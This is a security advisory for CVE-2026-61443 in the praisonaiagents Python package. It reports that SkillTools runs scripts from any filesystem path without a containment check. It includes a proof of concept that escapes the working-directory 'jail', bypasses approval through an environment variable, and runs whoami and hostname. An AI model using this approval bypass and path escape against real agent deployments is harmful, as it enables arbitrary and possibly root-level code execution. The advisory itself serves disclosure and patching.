---
id: CVE-2026-61443
aliases:
  - GHSA-c44f-37qr-gw3f
title: 'PraisonAI: SkillTools Executes Scripts Without Path Containment Validation'
summary: 'PraisonAI: SkillTools Executes Scripts Without Path Containment Validation'
severity: high
cvss: 8.1
cwe:
  - CWE-22
  - CWE-78
vendor: praisonaiagents
product: praisonaiagents
ecosystem: pip
affected:
  - praisonaiagents <= 1.6.77
patched:
  - praisonaiagents 1.6.78
published: '2026-10-08'
updated: '2026-10-08'
sourceUpdated: '2026-10-08T16:49:24Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-c44f-37qr-gw3f'
references:
  - url: >-
      https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-61443'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-62168'
  - url: >-
      https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools
  - url: 'https://github.com/advisories/GHSA-c44f-37qr-gw3f'
tags:
  - ghsa
  - pip
epss: 0.00769
epssPercentile: 0.54193
ingestedAt: '2026-10-08T16:52:14.775Z'
---

## Overview

### Summary
`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.

### Details
`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):

```python
def run_skill_script(self, script_path: str, ...):
    script_path = os.path.expanduser(script_path)
    if not os.path.isabs(script_path):
        script_path = os.path.join(self._working_directory, script_path)
    script_path = os.path.abspath(script_path)

    if not os.path.exists(script_path):
        return f"Error: Script not found at {script_path}"

    # No path traversal check, no containment validation
    # Directly executes whatever is at that path:
    result = subprocess.run(cmd, ...)
```

By contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:

```python
def _validate_path(self, filepath: str) -> str:
    # ...
    cwd = os.path.abspath(os.getcwd())
    if os.path.commonpath([absolute, cwd]) != cwd:
        raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")
```

`SkillTools` has no equivalent check.

### PoC

```python
import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools

# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")

# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
    f.write("#!/bin/bash\n")
    f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
    f.write("echo \"USER: $(whoami)\"\n")
    f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)

# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"

st = SkillTools()
st._working_directory = jail  # Pretend we're confined

# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
#   PROOF_OF_EXPLOIT: Script executed outside jail
#   USER: anushkavirgaonkar
#   HOSTNAME: Anushkas-MacBook-Pro-2.local

# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)
```

**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly.


### Impact
- **Arbitrary script execution**: Run any script on the filesystem from any location
- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`
- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges

## Affected packages

- `praisonaiagents <= 1.6.77`

## Remediation

Upgrade to a patched release:

- `praisonaiagents 1.6.78`
